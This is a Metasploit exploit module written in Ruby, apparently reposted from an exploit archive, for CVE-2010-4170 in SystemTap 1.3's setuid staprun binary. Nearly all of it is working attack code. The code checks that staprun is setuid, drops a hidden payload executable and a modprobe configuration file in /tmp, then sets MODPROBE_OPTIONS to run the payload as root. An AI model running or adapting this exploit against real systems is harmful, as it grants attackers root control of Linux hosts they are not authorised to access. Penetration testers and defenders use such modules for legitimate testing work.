SystemTap 1.3 - MODPROBE_OPTIONS Privilege Escalation (Metasploit)

2019-04-19 16:05:04

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'SystemTap MODPROBE_OPTIONS Privilege Escalation',
'Description' => %q{
This module attempts to gain root privileges by exploiting a
vulnerability in the `staprun` executable included with SystemTap
version 1.3.

The `staprun` executable does not clear environment variables prior to
executing `modprobe`, allowing an arbitrary configuration file to be
specified in the `MODPROBE_OPTIONS` environment variable, resulting
in arbitrary command execution with root privileges.

This module has been tested successfully on:

systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and
systemtap 1.1-3.el5 on RHEL 5.5 (x64).
},
'License' => MSF_LICENSE,
'Author' =>
[
'Tavis Ormandy', # Discovery and exploit
'bcoles' # Metasploit
],
'DisclosureDate' => '2010-11-17',
'References' =>
[
['BID', '44914'],
['CVE', '2010-4170'],
['EDB', '15620'],
['URL', 'https://securitytracker.com/id?1024754'],
['URL', 'https://access.redhat.com/security/cve/cve-2010-4170'],
['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=653604'],
['URL', 'https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html'],
['URL', 'https://bugs.launchpad.net/bugs/677226'],
['URL', 'https://www.debian.org/security/2011/dsa-2348']
],
'Platform' => ['linux'],
'Arch' =>
[
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'SessionTypes' => ['shell', 'meterpreter'],
'Targets' => [['Auto', {}]],
'DefaultTarget' => 0))
register_options [
OptString.new('STAPRUN_PATH', [true, 'Path to staprun executable', '/usr/bin/staprun'])
]
register_advanced_options [
OptBool.new('ForceExploit', [false, 'Override check result', false]),
OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])
]
end

def staprun_path
datastore['STAPRUN_PATH']
end

def base_dir
datastore['WritableDir'].to_s
end

def upload(path, data)
print_status "Writing '#{path}' (#{data.size} bytes) ..."
rm_f path
write_file path, data
register_file_for_cleanup path
end

def upload_and_chmodx(path, data)
upload path, data
chmod path
end

def check
# On some systems, staprun execution is restricted to stapusr group:
# ---s--x---. 1 root stapusr 178488 Mar 28 2014 /usr/bin/staprun
unless cmd_exec("test -x '#{staprun_path}' && echo true").include? 'true'
vprint_error "#{staprun_path} is not executable"
return CheckCode::Safe
end
vprint_good "#{staprun_path} is executable"

unless setuid? staprun_path
vprint_error "#{staprun_path} is not setuid"
return CheckCode::Safe
end
vprint_good "#{staprun_path} is setuid"

CheckCode::Detected
end

def exploit
unless check == CheckCode::Detected
unless datastore['ForceExploit']
fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'
end
print_warning 'Target does not appear to be vulnerable'
end

if is_root?
unless datastore['ForceExploit']
fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'
end
end

unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

payload_name = ".#{rand_text_alphanumeric 10..15}"
payload_path = "#{base_dir}/#{payload_name}"
upload_and_chmodx payload_path, generate_payload_exe

config_path = "#{base_dir}/#{payload_name}.conf"
upload config_path, "install uprobes /bin/sh"

print_status 'Executing payload...'
res = cmd_exec "echo '#{payload_path}&' | MODPROBE_OPTIONS='-C #{config_path}' #{staprun_path} -u #{rand_text_alphanumeric 10..15}"
vprint_line res
end
end

Fixes

No fixes

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